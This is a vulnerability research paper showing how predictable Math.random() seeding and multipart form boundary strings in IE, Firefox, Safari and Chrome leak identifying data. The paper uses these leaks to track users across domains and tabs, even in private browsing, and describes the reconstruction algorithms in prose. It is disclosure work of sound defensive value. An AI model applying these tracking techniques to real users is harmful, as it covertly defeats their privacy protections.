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Abstract 

User tracking across domains, processes (in some cases) and windows/tabs is 

demonstrated by exploiting several vulnerabilities in major browsers (Microsoft 

Internet Explorer, Mozilla Firefox, Apple Safari, and to a limited extent Google 

Chrome). Additionally, new cross-domain information leakage, and cross domain 

attacks are described, which provide a foundation for attacks such as “in session 

phishing”.  

According to Opera’s security team, Opera is vulnerable as well, but it was not 

researched by the author. 
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1. Introduction 

User tracking is a well known goal of sites on the Internet, either in the form of 

each site to its own, or via cooperation of different sites. A site may like to know 

if several browsing sessions originate from the same user, or from different users. 

Likewise, two cooperating sites may like to know if a user browsing the first site 

and later browsed the second site. 

User tracking can be put to legitimate uses (e.g. fraud prevention, session 

management), and to somewhat less agreeable uses (aggregating marketing 

information on individuals). 

Many user tracking techniques have been offered in the past – some of them 

(e.g. cookies) are part of the web standards (and have their own RFC), while 

others are perhaps considered less legitimate. A common theme is that once a 

technique becomes known, a counter-technique is typically offered by privacy 

enthusiasts in order to prevent being tracked, and later on the same technique is 

offered by the browser vendors as part of the standard browser. Thus, many 

techniques are less effective today than they were several years ago. 

• Cookies: by far the most common and most well understood tracking 

technique. Does not work across domains (unless 3rd party cookies are 

allowed). Easily blocked by all major browsers. 

• Flash cookies: similar to cookies. Less easily blocked, but on the other 

hand, the Flash player can be disabled. 

• IP address: not so reliable, since many users are behind a NAT firewall, 

and/or a proxy server. Privacy-seeking users may use an anonymizer 

proxy, anonymizing services, or the TOR network to overcome IP-based 

tracking. 

• User-Agent and other browser related headers: small amount of entropy 

prevents them from being used by themselves. Additionally, User-Agent 

can be easily spoofed. 

• Tagging a cached resource ([1]): domain specific, and does not survive 

cache cleaning. 

• Using the clock skew to fingerprint a computer ([2]): a powerful method, 

yet it requires direct TCP/IP connection with the fingerprinted device, 

hence cannot be used against users behind a forward (or even 

transparent) proxy. 

As will be demonstrated later in this document, many popular browsers do enable 

“temporary user tracking”. By this term, it is meant that the user tracking offered 

is limited to the lifetime of the browser process. This is, of course, a major 

drawback of the new technique presented hereby – all the above techniques 

survive browser (and computer) restart. However, there are several benefits to 

the technique described – such as being global in nature (i.e. not domain 

specific).  

The technique details are browser-specific, but the common theme is that the 

Javascript Math.random() function leaks information, and that the boundary 

string (used in multipart/form-data form submissions) leaks information. 

Combining the information obtained from both sources provides enough 

information to uniquely tag the browser process. 

The browsers surveyed in this document are: 
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• Microsoft Internet Explorer 6, 7 and 8, on Windows XP (tested with 

SP2 and SP3), Windows 2003 (tested with SP2), Windows Vista (tested 

with SP1 and SP2) and Windows 7 RC, henceforth collectively, “IE”. 

Probably all Trident-based browser implementations ([3]) are vulnerable. 

• Mozilla Firefox 2.0.0.x, 3.0.x and 3.5 (beta-4), on Windows (tested 

with Windows XP SP2 and SP3), Mac OS/X (tested with Mac OS/X 10.5.5, 

10.5.6 and 10.5.7), Linux (tested with Ubuntu 8.04 LTS – Linux kernel 

2.6.24) and Solaris (tested with Solaris 10). Henceforth collectively, 

“Firefox”. Probably all Gecko-based browser implementations ([5]) are 

vulnerable. 

• Apple Safari 3.0.x, 3.1.x, 3.2.x and 4.0 (developer preview only) on 

Windows (tested with Windows XP SP2 and SP3) and Mac OS/X (tested 

with Mac OS/X 10.5.5, 10.5.6 and 10.5.7). Henceforth collectively, 

“Safari”. Probably all WebKit-based browser implementations ([6]) are 

vulnerable. 

• Google Chrome 0.x, 1.0, 2.0 and 3.0 (developer preview) on 

Windows (tested with Windows XP SP2 and SP3). Henceforth “Chrome”.  

• Opera (all versions up to and including 9.63 and 10-alpha) probably 

on all platforms. According to Opera’s security team, Opera is vulnerable 

to the attacks described in this document. Opera was not included in the 

research conducted by the author, and therefore Opera is not covered in 

this document. 

The user-tracking techniques described in this document are unaffected by 

privacy-enhanced modes (IE8’s “InPrivate”, FF’s “Private Browsing”, Safari’s 

“Private Browsing” and Chrome’s “incognito”). 

It should be obvious that other versions of these browsers, other platforms, and 

other browsers in general may be vulnerable to these same issues, or to very 

similar issues. 

In addition, the information leakage vulnerability of the Math.random() PRNG, as 

well as of the boundary string, facilitate other attacks such as authentication 

state detection. Such techniques are the basis for the “in-session phishing” 

attack. 

 

2. Information leaked by the Javascript 

Math.random() implementation 

Standard Javascript has a built-in object called Math, and a build in function 

called Math.random() ([7]). This function implements a pseudo random number 

generator (yielding output between 0.0 and 1.0). There is no complementary 

seeding function, so seeding strategy is implementation dependent.  

In the Javascript engines of IE (Trident), Firefox (Gecko), Safari (WebKit) and 

Chrome (V8), the output of Math.random() can be used to reconstruct the 

random seed, and thus provide both this seed and the current “JS mileage” (i.e. 

the number of times Math.random() was invoked). 

Both data items represent information leak, which can be used to tell two browser 

instances apart. 
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2.1 IE (Trident) - Windows 

IE’s implementation of Math.random() is essentially old Java’s 

util.Random.nextDouble() implementation (very likely a pre-Java2 

implementation, as a reference to the old algorithm used “in early versions of 

Java” is found in the JDK 1.2 documentation), except for the seeding. It makes 

use of a 48 bit LCG-style PRNG which is seeded with the time (in milliseconds 

granularity) of the first Math.random() invocation. Thus the seed is around 41 bit 

strong, but its entropy (assuming uniform distribution of first Math.random() 

invocation over the “last” few days) is around 27-28 bits. The PRNG state is a 48 

bit unsigned integer, which is initialized with a bit-permutation of the seed. 

The seeding process is as following: 

The 48 bits of the current time are split into lower 32 bits (tL) and higher 16 bits 

(tH). The latter is XORed with the lower 16 bits of tL to form the low 16 bits of the 

state. Then tL is XORed with 0xDEECE66D, and the result is permuted bit-wise 

according to the following permutation to form the high 32 bits of the state: 

bit 0 -> bit 17 

bit 1 -> bit 19 

bit 2 -> bit 21 

bit 3 -> bit 23 

bit 4 -> bit 25 

bit 5 -> bit 27 

bit 6 -> bit 29 

bit 7 -> bit 31 

bit 8 -> bit 1 

bit 9 -> bit 3 

bit 10 -> bit 5 

bit 11 -> bit 7 

bit 12 -> bit 9 

bit 13 -> bit 11 

bit 14 -> bit 13 

bit 15 -> bit 15 

bit 16 -> bit 16 

bit 17 -> bit 18 

bit 18 -> bit 20 

bit 19 -> bit 22 

bit 20 -> bit 24 

bit 21 -> bit 26 

bit 22 -> bit 28 

bit 23 -> bit 30 

bit 24 -> bit 0 
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bit 25 -> bit 2 

bit 26 -> bit 4 

bit 27 -> bit 6 

bit 28 -> bit 8 

bit 29 -> bit 10 

bit 30 -> bit 12 

bit 31 -> bit 14 

A single PRNG iteration consists of simply multiplying the state by a constant 

coefficient (a=0x5DEECE66D) adding another constant coefficient (b=0xB) and 

taking the least significant 48 bits of the result to be the next state. 

A single Math.random() is obtained as following: the PRNG is advanced once, the 

highest 27 state bits are sampled, then the PRNG is advanced once more, and the 

highest 27 state bits are sampled. The two samples are concatenated to form a 

54 bit unsigned integer. This integer is divided by 254 to yield the result of 

Math.random() - a floating point number between 0.0 and 1.0. 

Since the JS floating point mantissa size is only 53 bits, this means that if the 

most significant bit in the 54 bit integer is one, and if the least significant bit is 

one as well, rounding takes place. This rounding is done to the nearest even 

number ([8]). As a side note, it follows that if Math.random()≥0.5, then the least 

significant bit of Math.random()·254 will be 0, and the next to least significant bit 

will be 0 with probability 75%. 

The state can be easily extracted from a single Math.random() value as following: 

the floating point value is first multiplied by 254 to form the original 54 bit integer 

(up to rounding). Then the higher 27 bits are extracted from it, and are shifted to 

the right by 21 positions. The lower 21 bits are enumerated over, and each 48 bit 

value is considered a candidate for the state (from which the first sample is 

taken), advanced once and then compared (only higher 27 bits, with possible 

rounding taken into account of the most significant bit of the first 27 bits is one) 

to the remaining 27 bits in the 54 bit integer (ignoring the least significant bit). A 

match is unlikely unless the real state is found.  

From the extracted state, it’s easy to roll back iteratively until a state value is 

found which matches (up to the initial permutation and XOR) a date in the last 

few days (assuming 227-228 such possible values, out of the 248 possible state 

values, it is very reliable way of finding the seeding time – since the PRNG is used 

only for Math.random(), and thus is not frequently invoked).  

It should be noted that the PRNG is seeded separately in each IE window/tab – 

with the first Math.random() invocation in the window/tab.  

An example implementation (in PHP and C/C++) is provided in Appendix A1. 

 

2.2 Firefox (Gecko) - All platforms 

Firefox’s implementation of Math.random() ([4]) is almost identical to Java’s 

util.Random.nextDouble() ([9]). The Java util.Random PRNG is well analyzed 

(e.g. [10]). It makes use of a 48 bit LCG-style PRNG which is seeded (in the case 

of Firefox) with the process startup time (in milliseconds granularity). Thus the 
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seed is around 41 bit strong, but its entropy (assuming uniform distribution of 

startup over the “last” few days) is around 28 bits.  

The PRNG state is a 48 bit unsigned integer, which is initialized with the seed XOR 

a (a=0x5DEECE66D). A single PRNG iteration consists of simply multiplying the 

state by a constant coefficient (a) adding another constant coefficient (b=0xB) 

and taking the least significant 48 bits of the result to be the next state. 

A single Math.random() is obtained as following: the PRNG is advanced once, the 

highest 26 state bits are sampled, then the PRNG is advanced once more, and the 

highest 27 state bits are sampled. The two samples are concatenated to form a 

53 bit unsigned integer. This integer is divided by 253 to yield the result of 

Math.random() - a floating point number between 0.0 and 1.0. 

The state can be easily extracted from a single Math.random() value as following: 

the floating point value is first multiplied by 253 to form the original 53 bit integer. 

Then the higher 26 bits are extracted from it, and are shifted to the right by 22 

positions. The lower 22 bits are enumerated over, and each 48 bit value is 

considered a candidate for the state (from which the first sample is taken), 

advanced once and then compared (only higher 27 bits) to the remaining 27 bits 

in the 53 bit integer. A match is unlikely unless the real state is found.  

From the extracted state, it’s easy to roll back iteratively until a state value (XOR 

a) is found which matches a date in the last few days (assuming 227-228 such 

possible values, out of the 248 possible state values, it is very reliable way of 

finding the seeding time – since the PRNG is used only for Math.random(), and 

thus is not frequently invoked).  

It should be noted that the PRNG is seeded once – when the Firefox process is 

started (in fact, it seems that during process startup, there are 3-4 invocations of 

Math.random()). And since Firefox uses a single process for all its activities 

(including tabs, new windows, and even new application launches), this technique 

can be used to identify two Firefox tabs/windows as belonging to the same 

process. 

An example implementation in PHP and C/C++ is provided in Appendix A2. 

 

2.3 Safari (WebKit JavaScriptCore) - Mac OS/X 

Safari’s implementation ([11]) of Math.random() on non-Widnows platforms uses 

the CRT rand() (divided by MAX_RAND+1) and the CRT srand() with first 

Math.random() invocation time (in seconds granularity) as seed. The entropy of 

the seed is thus around 17-18 bits (out of the possible 31 bits). 

Going back from the observed Math.random() value to the CRT rand() value used 

in its calculation involves simply multiplying the Math.random() value by 

(MAX_RAND+1). It is thus possible to assume that rand() is known. 

The Mac OS/X implementation of rand() and srand() is identical to FreeBSD’s 

rand – [12]). It is a 31 bit LCG (initialized by the seed), which is advanced by 

multiplying it by a constant coefficient (75=16807) and taking the result modulo 

(231-1) for the next state. The rand() value amounts to the 31 bits of the state. 

Thus a single value of rand() yields the state at the time it was generated.  

Extracting the seeding time involves running the PRNG backwards until a state 

value is reached which conforms to a time in the recent past (last few days): one 

needs to assume that the browser process was started no earlier than T seconds 
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ago (a reasonable choice would be T=2 days=172800 seconds), in which case 

there will be only T=172800 possible seed values.  

The algorithm is as following (assuming the 31 bits of the state have been 

already reconstructed): roll back the PRNG state one step at a time. In each step, 

check whether the state is lower than or equals to the current client time t, and 

higher than t-T. If it is, then assume this is the seed (and the time the browser 

process was started), and the rollback iteration count is the “CRT mileage” of the 

process, i.e. the amount of rand() invocations since the browser process was 

started. 

The probability of no false positives (assuming T is significantly smaller than 231) 

is approximated at exp(-T·M/231), where M is the actual browser CRT mileage. 

Assuming T=2 days (172800 seconds), the following table depicts the probability 

for no false positives given some values of M: 

 

M (real browser CRT mileage) Probability of no false positives 

0 100% 

10 99.9% 

100 99.2% 

1000 92.2% 

10000 44.7% 

 

As can be seen, as long as the browser’s CRT mileage is not particularly high, the 

algorithm can correctly identify the mileage and the seeding time of the browser 

process. Safari seems to consume rand() in a low pace – even in heavy browsing, 

the average seems to be around one invocation in several minutes. So a mileage 

value of 100 for Safari may represent few hours (or even days) of browsing. 

An example implementation in PHP is provided in Appendix A3. 

Note: on Windows (when compiled with Microsoft Visual Studio 2005 or later), 

WebKit uses rand_s(), which is cryptographically strong random source. 

 

2.4 Chrome (V8) - Windows 

V8’s Math.random() implementation ([13], function Runtime_Math_random()) 

uses the function random() which is aliased in Windows to rand() ([14]). So in 

Windows, Math.random() is a floating point number consisting of the second 

rand() value, concatenated with the first rand() value, divided by 230. Since the 

MSVCRT PRNG state consists of 31 bits, a single Math.random() value does not 

suffice to find the PRNG state, and thus two consecutive Math.random() values 

are used.  

The MSVCRT PRNG is seeded by calling srand() with the seeding time in 

milliseconds (effectively taken modulo 231), at process startup. Theoretically, it 

should be possible to find the correct seed by rolling back the PRNG one step at a 

time, and inspecting each value for being smaller than the current time and larger 

than the time minus some “maximum age” period (modulo 231), and as long as 

the age is small (e.g. 3600 seconds = 3600000 milliseconds) compared to 231, 
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and the mileage small enough (e.g. up to 100), this should work. However, there 

are two fundamental obstacles:  

• When a form of type multipart/form-data is submitted for the first time in 

the process, srand() is called unconditionally, thus re-seeding the PRNG 

(see section 3.3 for details). This obstacle can be sidestepped by taking 

into account the two alternatives for seed value. 

• More importantly though, by default Google Chrome employs the 

“process-per-site-instance mode” ([30]), i.e. it starts a new process each 

time navigation is performed for a different site. So when a user navigates 

away from site A.com to site B.com (even in the same window/tab), the 

current process is terminated and a new process is launched. Thus, the 

scope of the PRNG sequence is very limited. Note, however, that two 

frames in the same page (even if their source is from different sites) do 

share the same PRNG. And of course, if the user chooses the “single 

process” mode1, then the PRNG state is shared among all windows and 

tabs. Likewise, if the user chooses the “one instance per tab”, then the 

process will not be terminated when navigation to different sites occurs 

within the same tab, so the PRNG state will be preserved per tab. 

Additionally, the process pool is limited in size (“20 renderer processes on 

most machines, and fewer on machines with small amounts of installed 

memory” according to [30]), so on small memory machines and on 

machines with more than 20 tabs opened, there’s a potential for cross 

domain leakage of Math.random().  

A script that extracts the process startup time (assuming no multipart form 

submission has taken place in the process) is provided in Appendix A4. 

 

3. Information leaked by the boundary string 

Modern browsers support the “multipart/form-data” content type ([15]), e.g. in 

order to enable file uploads. An HTTP POST request with Content-Type header 

“multipart/form-data” designates the data (body) as having that type. The 

Content-Type header also designates the boundary string to be used as part of 

the separator. The body section of the request is then separated to “parts” 

essentially by means of a CR+LF followed by double hyphen, followed by the 

boundary string, followed by CR+LF ([16]). Each part contains headers, a 

terminating CR+LF, and a body. The headers designate the parameter name (via 

the Content-Disposition header), and if the parameter is a file, the file name can 

also be designated (via the Content-Disposition header), along with its type (via a 

Content-Type header). An HTML form can designate a “multipart/form-data” 

submission by including ENCTYPE=”multipart/form-data” attribute in the FORM 

tag. 

For example, the following HTML form designates a “multipart” submission: 

 

                                           

1 It seems though that Chrome 1.0 “incognito” mode is incompatible with the 

“single process” mode, and any incognito window opened from a “single process” 

Chrome process will not be functional. Also, it seems that “single process” mode 

is no longer supported in Chrome 2.0 and above 

(http://code.google.com/p/chromium/issues/detail?id=9052). 
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<form method="POST" action="http://www.example.com/" enctype="multipart/form-data"> 
<input name="x" type="hidden" value="foobar"> 
<input name="f" type="file"> 
<input name="dummy" type="submit" value="Submit file"> 
</form> 

 

A form submission may result in this HTTP request sent by the browser 

(Safari/3.1.2 for Windows in this example). The file name is C:\helloworld.txt and 

the file contents are “Hello World” followed by CR and LF. The boundary string 

generated by the browser for this request is “----

WebKitFormBoundaryAAO3AAcWAArxAAQr”: 

 

POST / HTTP/1.1 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, 
like Gecko) Version/3.1.2 Safari/525.21 
Cache-Control: max-age=0 
Accept-Language: en-US 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAAO3AAcWAArxAAQr 
Accept-Encoding: gzip, deflate 
Content-Length: 395 
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/
png,*/*;q=0.5 
Connection: keep-alive 
Host: www.example.com 
 
------WebKitFormBoundaryAAO3AAcWAArxAAQr 
Content-Disposition: form-data; name="x" 
 
foobar 
------WebKitFormBoundaryAAO3AAcWAArxAAQr 
Content-Disposition: form-data; name="f"; filename="helloworld.txt" 
Content-Type: text/plain 
 
Hello World 
 
------WebKitFormBoundaryAAO3AAcWAArxAAQr 
Content-Disposition: form-data; name="dummy" 
 
Submit file 
------WebKitFormBoundaryAAO3AAcWAArxAAQr-- 

 

As will be demonstrated below, the boundary string generated by IE (Trident), 

Firefox (Gecko), Safari (WebKit) and Chrome (WebKit) is predictable, and leaks 

information. 

 

3.1 IE (Trident) - Windows 

3.1.1 Boundary string structure 

IE’s boundary string has a very predictable structure and contents. The boundary 

string is a concatenation of the following: 

• 27 hyphens 

• The 4 digit year part of the current time (base 16, lowercase letters) 

• The millisecond part of the current time (base 16, lowercase letters). This 

value actually has clock-tick granularity, which is usually 15.625 (or in 

older machines - 10.0144) milliseconds. 

• The second part of the current time (base 16, lowercase letters). 



Temporary User Tracking in Major Browsers 

   

12   

• The window handle of foreground window (base 16, lowercase letters), 

henceforth “hwnd”. This value is probably retrieved via a call to the Win32 

GetForegroundWindow() function (part of User32 library, [17]) or an 

equivalent facility. 

When the user is active within the browser window (e.g. clicking links, pressing 

buttons and filling forms), the browser (more precisely, the IEFrame window) is 

the foreground window. And since the window handle doesn’t change during the 

lifetime of the window (which can be pretty long – hours/days), once it is 

sampled by one site, it is known (and predictable) for all sites. Client side time is 

available to Javascript code, hence predictable too. The net result is that the 

boundary string is completely predictable. 

The fact that the Internet Explorer window handle can be extracted, and that the 

same window handle is used for all traffic emitted from the same window 

represents information leakage with very interesting consequences, which are 

discussed below. 

3.1.2 hwnd entropy estimation 

hwnd is a handle to a window, which in Win32 is represented by the type HWND. 

It is a 32 bit value (DWORD). From [18], the low 16 bits are simply the Win16 

handle number – which is by definition an even number (least significant bit is 

always 0). The high 16 bits are called “uniquifier”, which is an unsigned number 

incremented every time the Win16 handle is allocated. 

Experiments revealed that the uniquifier is initialized to 0x0001, and it cycles 

through 0xFFFE and back to 0x0001 (i.e. 0x0000 and 0xFFFF are never used). 

This means that hwnd serialization contains at least 5 hexadecimal digits. 

It seems that when a new Win32 handle (HWND) is requested from Windows, it 

attempts to assign the most recently freed Win16 handle, which is still free. If no 

such handle exists (i.e. all Win16 handles in the range 0x0002…M are used, 

where M is the highest Win16 handle ever assigned), then Windows assigns M+2 

as the handle. When assigning a Win16 handle, Windows increments its uniquifier 

by 1 before returning the HWND (which is made of the Win16 handle and the 

uniquifier). 

Now it’s clear that HWND values depend on the current state of opened windows, 

as well as on the history of windows opened and closed. This makes it quite 

difficult to estimate and simulate the entropy of HWND, particularly since the 

entropy may vary wildly according to the scenario. For example, the entropy of 

HWND right after boot is quite low. If the HWND is sampled after some 

applications have been started, the entropy becomes higher (in a small scale 

tests, sampling applications from a pool of 20 popular applications, running them, 

and sampling HWND right after yields entropy of 9-10 bits), and if the HWND is 

sampled after a day or two of working, the entropy should be higher (around 15 

bits). 

There is one exception though – since hwnd is obtained internally by IE using 

GetForegroundWindow (or similar), a value of NULL (0) may be returned in some 

rare cases (this is documented in [17]). Indeed, in experiments, a value of 0 was 

returned in very few occasions. This means that the hwnd value may very rarely 

contain a leading zero, and may be shorter than 5 digits.  
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3.1.3 hwnd extraction strategies 

All attack techniques which involve the IE boundary string require a reliable way 

of obtaining the hwnd part of the boundary. This isn’t too hard, but it’s not 

entirely trivial, since the boundary is made of varying length fields (the 

millisecond, second and hwnd fields) and the challenge is to correctly separate 

the hwnd field from the preceding fields. 

Another complication is that hwnd is the handle of the foreground window. If it is 

desired to obtain the handle to a particular browser window, the attacker needs 

to ensure that that window is the active one. This is, however, easily solved. The 

attacker needs to tie the hwnd extraction algorithm to a DOM event that results 

from user activity, e.g. onFocus, onKeyPress, onMouseDown, onClick and 

onSubmit.  

3.1.4 Longest common suffix 

A naïve approach would be to obtain several boundary values and define the 

candidate hwnd to be the longest common suffix of all these strings. Obviously 

the correct hwnd value is a suffix of the candidate hwnd. But they may not be 

identical. Keep in mind that the value immediately preceding the hwnd is the 

second count (in hexadecimal), or more precisely, the least significant 

hexadecimal digit of the second count. So if all samples are taken during the 

same second (from the client side perspective), the longest common suffix will 

include the least significant hexadecimal digit of the second count. Hence, the 

candidate hwnd will be longer than the correct hwnd, and the algorithm will yield 

an incorrect result. This analysis also provides a hint for the correct algorithm: as 

long as it is guaranteed that the least significant hexadecimal digit of the two 

samples is different, the longest common suffix will be exactly the correct hwnd. 

Taking two samples at least one second apart provides such guarantee, as long 

as they’re not “too distant”, in which case the least significant digit can wrap 

around. Wrapping around usually occurs after 16 seconds, but when the second 

count is 59 (hexadecimal: 3b16), the next value is 0, hence for example a least 

significant digit “b” (in second count 11) can occur 12 seconds after a previous 

instance of “b” (in second count 59). The revised algorithm is, therefore: 

Take two samples of the boundary string, taken at least one second apart (but 

less than 11 seconds apart) from the client’s perspective, and define the 

candidate boundary string to be the longest common suffix. 

Cons: Once the initial page is downloaded to the client, it requires two additional 

hits to the server. Also takes at least one second (thus risking loss of focus). And 

if, for some reason, there is a very long delay in traffic between the client and the 

server, the timeout may fire and the algorithm may not yield any result. 

Pros: Very reliable. 

3.1.5 Time field reconstruction 

A different technique is to try to reconstruct the exact field values (year, second 

count, millisecond count) as they were used by the browser at submission time. 

Javascript code can sample the client time just before submission, and place it in 

the form so the browser submits the client time as part of the form submission. 

The server can then reconstruct the time-related fields, remove them from the 

boundary, and expose the hwnd field. This simple algorithm works well when the 

client machine is not very busy or very slow. When the client machine is busy, 

the odds become higher for a clock tick (or more) to occur between the time 
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sampling time and the form submission. To counter that, the server needs to 

consider more candidates for the submission time. So if t is provided by the 

client, the server needs to consider t, t+tick, t+2·tick, etc. Most of Windows 

installations nowadays use a tick value of 15.625 milliseconds (though some 

installations may use 10.0144 milliseconds - see discussion in section 3.1 of [19]; 

for simplicity, tick is assumed to be 15.625, but it is easy to extend the algorithm 

to support two possible values of tick, or to measure tick with client-side 

Javascript – see Appendix C for a code example), and since the values may be 

rounded, the server needs to consider t, t+15, t+16, t+31, t+32, etc. If indeed 

the client used any one of those values as time when submitting the form, the 

server would be able to reconstruct the string used by the client, and extract the 

hwnd. Another factor that needs to be considered is time adjustment on the client 

(the “Windows Time” service periodically samples reliable time sources and 

adjusts the local clock accordingly). Experiments show that workstations which 

synchronize their clock with external source may modify the time by ±1 

millisecond as frequently as once in 0.25 second (in stable state, and assuming a 

reasonable clock drift). This means that an addendum of ±1 should be added to 

all time estimations mentioned above. 

There’s a small complication though – if the time serialization in any of the 

suggested time values is a prefix of any other serialization of any other suggested 

time, the server may not know which value to use. For example, when t (modulo 

60000) is 17001 milliseconds, its serialization (“111”) is a prefix of the 

serialization of t+16 (“1111”). A hwnd value whose leading digit is not “1” can 

still disambiguate this case if the shorter serialization was the one indeed used by 

the client. In such case, the boundary value is “…111234567”, which cannot 

match the longer prefix “1111”. However, if the client used the longer 

serialization, then the boundary value is “…1111234567”, which causes a real 

ambiguity at the server, since it cannot distinguish between (1111,234567) and 

(111,1234567). 

Note that when the longer prefix ends with the digit “0” (e.g. t=1 whose 

serialization is “10” vs. t+15 whose serialization is “100”), then the ambiguity can 

be ignored. This is because the serialized hwnd almost never contains a leading 

zero (the only exception being the special case wherein hwnd is 0, which is very 

rare). 

So the revised algorithm would try possible tick counts (say, 0…4), and check 

whether any of them yields a t value that when serialized, forms a prefix of the 

boundary value. 

Overall, ambiguity is rare, and when encountered, the server can force another 

iteration to eliminate the ambiguity. It is still possible (on an extremely slow/busy 

machine) for the tick count to exceed 4, in which case the server script may 

either fail to find prefix, or worse – may find an incorrect prefix (without the 

correct value, the server can’t know that this is in fact an ambiguous situation, 

and thus will use the incorrect value). 

An example implementation in PHP can be found in Appendix B1. 

Cons: Ambiguity issues (very low probability), incorrect results (very low 

probability). 

Pros: Once the initial page is downloaded, requires only a single hit to the server. 
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3.1.6 Partial hwnd extraction 

In some cases, instead of using the full hwnd, it may suffice to get a partial 

reading, say of (hwnd modulo 220). In such case, the extraction is trivial – simply 

take the last 5 hexadecimal digits of the boundary string (hwnd is almost 

guaranteed to be at least 5 hexadecimal digits – see section 3.1.2). 

 

3.2 Firefox 3 (Gecko) – all platforms 

The boundary string Firefox 3 generates ([20]) has a very predictable structure 

and contents. The boundary string is a concatenation of the following: 

• 27 hyphens 

• 3 samples of the CRT rand() function, serialized as integers.  

This logic has not changed since Firefox 2.0.0.0. 

Mozilla Firefox 3 does not call srand(), except in Linux and Solaris. By convention, 

using rand() without calling srand() is equivalent to calling srand(1) before the 

first invocation of the rand() function (this is documented behavior for Windows 

MSVCRT – [21] and for Mac OS/X – [22]). Hence, all Firefox instances running on 

the same O/S generate the same sequence of random numbers, and the only 

difference between them is how far each one is in this sequence. This is hereby 

defined as the “CRT mileage” of the browser process. This mileage is affected by 

the consumption rate of rand(). File uploads are not the only “consumer” of 

rand(), but there aren’t too many consumers altogether. 

In order to find the mileage, the attacker can start with seed=1, and roll forward 

the PRNG until 3 consecutive outputs yield the boundary string.  

In Linux and Solaris, it seems that srandom() is called (probably in the platform-

specific crash-reporter code), and since in Linux and Solaris, srand() is a wrapper 

for srandom(), the net result is that the CRT PRNG is actually seeded. The seed is 

the process startup time (in seconds resolution). srandom() is typically invoked 

before the JS PRNG is seeded, with up to few seconds apart. Thus, knowing the 

JS PRNG seeding time and subtracting 0-5 seconds from it yields the correct CRT 

PRNG seed (hence there’s very little additional information in the CRT PRNG seed 

over the JS PRNG seed). It is therefore very easy to calculate the CRT mileage for 

Linux and Solaris as well. 

To summarize: the boundary string is predictable, and it leaks the “mileage” of 

the browser. 

Appendix B2 contains a script that extracts the CRT mileage for Firefox 3 

(Windows). 

Appendix B3 contains a script that extracts the CRT mileage for Firefox 3 (Mac 

OS/X). 

 

Note: Firefox 2 does call srand(), with the process startup time, in microsecond 

resolution (taken modulo 232). This yields approximately additional 20 bits on top 

of the JS PRNG seeding time entropy, since the exact time srand() is called is 

within few seconds from the JS PRNG initialization time. However, it is difficult to 

find the seed without knowing (using the JS PRNG extraction) the process startup 

time. 
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3.3 Chrome (1.0 and below) and Safari (WebKit 

WebCore) - Windows 

3.3.1 Boundary string structure 

The boundary string produced by WebKit WebCore has a very predictable 

structure and contents. The boundary string ([23], function 

getUniqueBoundaryString) is a concatenation of the following: 

• The string “----WebKitFormBoundary” 

• 4 samples of the CRT rand() function, transformed and serialized as 

following: each value is treated as a 32 bit quantity, which is transformed 

and serialized byte-wise, from the most significant byte to the least 

significant byte. Each byte is transformed and serialized by taking its least 

significant 6 bits and mapping it into 63 different characters (0 and 63 are 

mapped to the same character, “A”). The map is static and well known, 

consisting of the characters A-Z, a-z, 0-9, + (and A), in this order. 

 

The basic MSVCRT PRNG algorithm and extraction technique are described in 

[24]. In the WebKit case, there’s a minor complication – the four rand() integers 

are serialized in a non-reversible manner. The first two bytes produced per 

integer are always “AA”, since in MSVCRT, rand() values are 15 bits. However, 

the third byte is mapped from bits 8-13 of the integer, hence bit 14 is lost. 

Likewise, the fourth byte is mapped from bits 0-5 of the integer, so bits 6 and 7 

are lost. Moreover, the mapping itself isn’t 1:1 because 0 and 63 are both 

mapped to the same character, “A”. As will be seen, this is a mild complication 

only. 

The PRNG state reconstruction algorithm is simple. Using bytes 2-3, list all 

possible candidates for bits 0-13 of the first rand() result. Then enumerate over 

the remaining 16 bits to form the least significant 30 bits of the state just after 

the first rand() was obtained. Now roll this state forward 3 times and compare the 

result with the remaining bytes of the boundary string. Note that the 31st bit of 

the state is ignored since it never participates in forming the serialized data. An 

implementation in PHP is provided in Appendix B4. 

Given the current PRNG state (30 bits out of the 31 bit state – there’s no way to 

reconstruct the most significant state bit), it is possible to roll back the state to 

the previous one, iteratively. Since WebKit seeds the PRNG with the time (in 

seconds) of the first boundary string construction, one can assume that the most 

significant bit of the seed is 1 (230 is a date in January 2004, almost 5 years ago), 

and look for seed values that represent a recent date.  

The seed finding algorithm is similar to the one described in section 2.3, with the 

necessary adaptations (rolling back the least significant 30 bits of the PRNG, and 

forcing the 31st bit to 1), and the false positive probability calculation should have 

231 replaced by 230. Still, the bottom line is that since Safari consumes rand() in a 

very low pace, the mileage expected (even after hours/days of browsing) may not 

exceed 100, so the probability of false positives is low. 

 

Notes: 
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1. In WebKit’s Javascript engine in Windows, Math.random() doesn’t consume the 

CRT native rand() facility. Rather, it uses Windows’ rand_s(), which is a 

cryptographic PRNG. Therefore, Safari (on Windows) does not consume CRT 

rand() when invoking Math.random(). Google Chrome, which does not use the 

WebKit Javascript engine, does consume two rand() values per each 

Math.random() invocation (see section 2.4). 

2. By default, Google Chrome employs the “process-per-site-instance” mode, in 

which it starts a new process each time navigation is performed for a different 

site ([30]). So when a user navigates away from site A.com to site B.com (even 

in the same window/tab), the current process is terminated and a new process is 

launched. Thus, the scope of the PRNG sequence is very limited. Note, however, 

that two frames in the same page (even if their source is from different sites) do 

share the same PRNG sequence. And of course, if the user chooses the “single 

process” mode, then the PRNG state is shared among all windows and tabs. 

Likewise, if the user chooses the “one instance per tab”, then the process will not 

be terminated when navigation to different sites occurs within the same tab, so 

the PRNG state will be preserved per tab. 

3. In Mac OS/X, WebKit uses the slightly stronger random() and srandomdev() 

for the boundary string construction. It should still be possible (at least in theory) 

to find the PRNG state, at least partially (but perhaps not the seed). 

 

4. Combining the results 

The main goal of the above research was to show that it is possible for an 

attacker to associate a “temporary global cookie” to the browser. 

The term “global cookie” is fitting because the data collected remains intact 

across boundaries that oftentimes hinder “normal” cookies: 

• Hosts/domains 

• Ports 

• Scheme (HTTP/HTTPS) 

This “global cookie” is somewhat weak because it contains limited amount of 

entropy, i.e. it only has as much differentiation power as its entropy. In contrast, 

normal cookies can carry arbitrary values (up to cookie length restrictions).  

Furthermore, this global cookie doesn’t work across windows in IE (even when 

owned by the same process) and its lifetime is that of the window/process/tab 

(i.e. it resembles more a session cookie than a permanent cookie). Hence the 

qualifier “temporary”. 

 

